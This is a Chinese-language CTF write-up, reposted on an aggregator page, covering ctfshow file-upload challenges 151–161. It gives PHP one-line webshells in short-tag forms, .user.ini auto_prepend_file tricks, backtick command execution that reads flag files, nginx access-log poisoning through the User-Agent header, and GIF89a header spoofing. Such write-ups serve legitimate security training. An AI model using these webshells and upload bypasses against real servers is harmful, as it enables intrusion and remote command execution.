当前位置: 首页 > news >正文

ctfshow 文件上传 151-161

文件上传也好久没做了。。

手很生了

151  前端绕过

只能上传png文件

使用bp抓包,修改文件名后缀为php

上传成功,发现文件上传路径

使用蚁剑连接

找到flag

152

152  后端校验

跟上一关一样

@ 表示后面即使执行错误,也不报错

抓包修改文件后缀名

 蚁剑

153  .user.ini绕过

php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,通常用这个文件来构造后门和隐藏后门。

利用.user.ini,要求目标目录下必须包含php文件,这题的目标目录有一个index.php文件

.user.ini中两个中的配置就是auto_prepend_fileauto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。
 

我们先上传一个内容为auto_prepend_file=1.png的png文件,意思就是使1.png包含在目标目录的php文件中,然后再上传一句话木马(1.png),蚁剑访问url/upload/index.php连接成功

先上传一个png文件,然后修改文件名还有内容

auto_prepend_file=1.png

first 先上传1.png(不然传不上)

然后修改内容与文件名,上传.user.ini

然后上传1.png木马

访问一下看看,已经上传成功

用蚁剑连接 /index.php

154 短标签绕过+.user.ini绕过

上传1.png

短标签

<?= eval($_POST[1]);?>
<? eval($_POST[1]);?>
<% eval($_POST[1]);%>

传参访问一下看看

蚁剑

155 同154

懒得连接了,直接命令执行

1=system('tac ../flag.php');

 156  过滤[]

 使用原来的段标签没有上传成功

 

说是因为[]被过滤了

把[]改成{}

上传成功

命令执行

 

157 命令执行

一样先上传.user.ini

这里发现{}也被过滤了

只能直接命令执行

<?= `tac ../flag*`?>

访问一下

158 命令执行

还是命令执行

 

 

159 命令执行

 

 

160 日志包含绕过

空格被过滤了

 

Nginx日志的默认路径:

/var/log/nginx/
<?=include"/var/lo"."g/nginx/access.lo"."g"?> (log被过滤)

 在UA头写一句话木马

<?php system('tac ../flag*');?>

 直接访问/index.php

 

161 文件头绕过

发现直接这样传不上

需要加GIF89a 才能上传成功

1.png也是一样的,加个GIF89a图片头

 直接访问,就有flag

http://www.lryc.cn/news/231216.html

相关文章:

  • Selenium浏览器自动化测试框架简单介绍
  • bclinux aarch64 ceph 14.2.10 文件存储 Ceph File System, 需要部署mds: ceph-deploy mds
  • 【微前端】micro-app搭建项目实战
  • C语言——分割单向链表
  • 台式电脑的IP地址在哪里?解密台式电脑网络连接的秘密!
  • 设计模式案例 (三)
  • JZ22:链表中倒数第k个结点
  • python的高性能web应用的开发与测试实验
  • 除了http还有哪些通信协议?
  • 基于遗传算法的图像重建
  • 【Redis】Redis-Key的使用
  • 为忙碌的软件工程师精心准备的编码面试准备材料,超过 100,000 人受益!
  • SpringCloud Alibaba(上):注册中心-nacos、负载均衡-ribbon、远程调用-feign
  • 基于乌鸦算法优化概率神经网络PNN的分类预测 - 附代码
  • Jenkins中强制停止停不下来的job
  • 北邮22级信通院数电:Verilog-FPGA(9)第九周实验(1)实现带同步复位功能、采用上升沿触发的D触发器
  • go中的rune类型
  • C51--PC通过串口(中断)点亮LED
  • 使用pixy计算群体遗传学统计量
  • 第十九章总结:Java绘图
  • Mybatis-Plus条件构造器QueryWrapper
  • python解析wirshark抓包数据
  • 一个用于操作Excel文件的.NET开源库
  • Web APIs——正则表达式使用
  • 文件包含学习笔记总结
  • <C++> 优先级队列
  • systemverilog:interface中的modport用法
  • VR建筑仿真场景编辑软件有助于激发创作者的灵感和创造力
  • 8.查询数据
  • VB.NET—Bug调试(参数话查询、附近语法错误)